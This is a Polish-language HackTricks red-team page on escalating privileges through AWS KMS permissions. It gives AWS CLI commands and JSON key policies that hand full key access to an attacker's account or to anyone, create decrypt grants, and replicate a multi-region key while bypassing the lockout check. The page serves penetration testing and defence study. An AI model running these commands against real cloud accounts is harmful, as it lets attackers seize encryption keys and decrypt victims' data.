AWS - KMS Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

KMS

Aby uzyskać więcej informacji na temat KMS, sprawdź:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Z tymi uprawnieniami jest możliwe zmodyfikowanie uprawnień dostępu do klucza, dzięki czemu może być on używany przez inne konta lub nawet przez każdego:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

To pozwala podmiotowi na korzystanie z klucza KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Uprawnienie może zezwalać tylko na określone rodzaje operacji: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Zauważ, że może minąć kilka minut zanim KMS pozwoli użytkownikowi na użycie klucza po wygenerowaniu uprawnienia. Po upływie tego czasu podmiot może używać klucza KMS bez konieczności określania czegokolwiek. Jednak jeśli konieczne jest natychmiastowe użycie uprawnienia użyj tokena uprawnienia (sprawdź poniższy kod). Aby uzyskać więcej informacji przeczytaj to.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Zauważ, że możliwe jest wylistowanie przyznanych uprawnień kluczy za pomocą:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Z tymi uprawnieniami możliwe jest replikowanie klucza KMS włączonego w wielu regionach w innym regionie z inną polityką.

Tak więc, atakujący mógłby wykorzystać to do uzyskania eskalacji uprawnień do klucza i go wykorzystać

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

To uprawnienie pozwala na użycie klucza do odszyfrowania pewnych informacji. Aby uzyskać więcej informacji, sprawdź:

pageAWS - KMS Post Exploitation
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated